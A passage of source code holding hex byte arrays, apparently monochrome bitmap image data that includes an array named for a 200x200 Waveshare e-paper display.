0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0 ] waveshare_200x200 = [ 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X1F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X1F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X1F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X1F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0XFF, 0XFF, 0XDF, 0XF7, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0XFF, 0XFF, 0X8F, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0XFF, 0XFF, 0X07, 0X81, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X00, 0XFF, 0XFE, 0X0E, 0X00, 0X00, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X01, 0XFF, 0XFC, 0X1C, 0X00, 0X00, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X0F, 0XFF, 0XF0, 0X30, 0X00, 0X00, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0XFF, 0XFF, 0XE0, 0X40, 0X00, 0X00, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X0F, 0XFF, 0XFF, 0XF0, 0XE0, 0XFF, 0XFE, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X7F, 0XFF, 0XFF, 0XFB, 0XF1, 0XFF, 0XFC, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X07, 0X1F, 0XE0, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X07, 0XFF, 0XFC, 0X07, 0X18, 0X00, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X01, 0XFF, 0XFC, 0X07, 0X18, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X1C, 0X01, 0XFF, 0XFF, 0XC7, 0X18, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X38, 0X00, 0XFF, 0XE0, 0X07, 0X18, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0X00, 0XFF, 0XE0, 0X07, 0X18, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0X70, 0XFF, 0XE0, 0X07, 0X18, 0XFE, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0XF8, 0XFF, 0XFF, 0XC7, 0X18, 0X00, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0XF9, 0XFF, 0XFC, 0X07, 0X18, 0X00, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X30, 0XF1, 0XFF, 0XFC, 0X07, 0X18, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X03, 0XFF, 0XFC, 0X07, 0X1F, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X00, 0XFF, 0XFF, 0XF0, 0X7F, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X00, 0XFF, 0XFF, 0XC0, 0X7F, 0XF0, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X00, 0XFF, 0XFE, 0X00, 0X0F, 0XE0, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X00, 0XFF, 0XF0, 0X00, 0X00, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X00, 0XFF, 0XE0, 0X00, 0X00, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X0F, 0XF0, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0X0F, 0XC0, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X00, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X1F, 0XFF, 0XFF, 0XFF, 0X00, 0X01, 0XC0, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X03, 0XFF, 0XFF, 0XFF, 0X00, 0X0F, 0XF0, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X7F, 0XFF, 0XFF, 0X0F, 0XFF, 0XF8, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X0F, 0XFF, 0XFF, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0XFF, 0XFF, 0X81, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XF1, 0X81, 0XF1, 0XFC, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0XFF, 0XF1, 0X81, 0XF1, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0XFF, 0XF1, 0X8F, 0X31, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0XFF, 0XF1, 0X89, 0X31, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X07, 0XFF, 0XF1, 0X89, 0X31, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X1F, 0XFF, 0XF1, 0X89, 0X31, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0XFF, 0XFF, 0XF1, 0X89, 0X31, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X07, 0XFF, 0XFF, 0XF1, 0X89, 0X31, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X3F, 0XFF, 0XFF, 0XF1, 0X89, 0X31, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFD, 0XFF, 0XFF, 0XFF, 0XF1, 0X89, 0X31, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0X8F, 0XF1, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X1F, 0XFF, 0XF0, 0X00, 0X11, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X07, 0XFF, 0XF0, 0X00, 0X11, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0X03, 0XFF, 0XF0, 0X00, 0X11, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X01, 0XFF, 0XF0, 0X00, 0X11, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 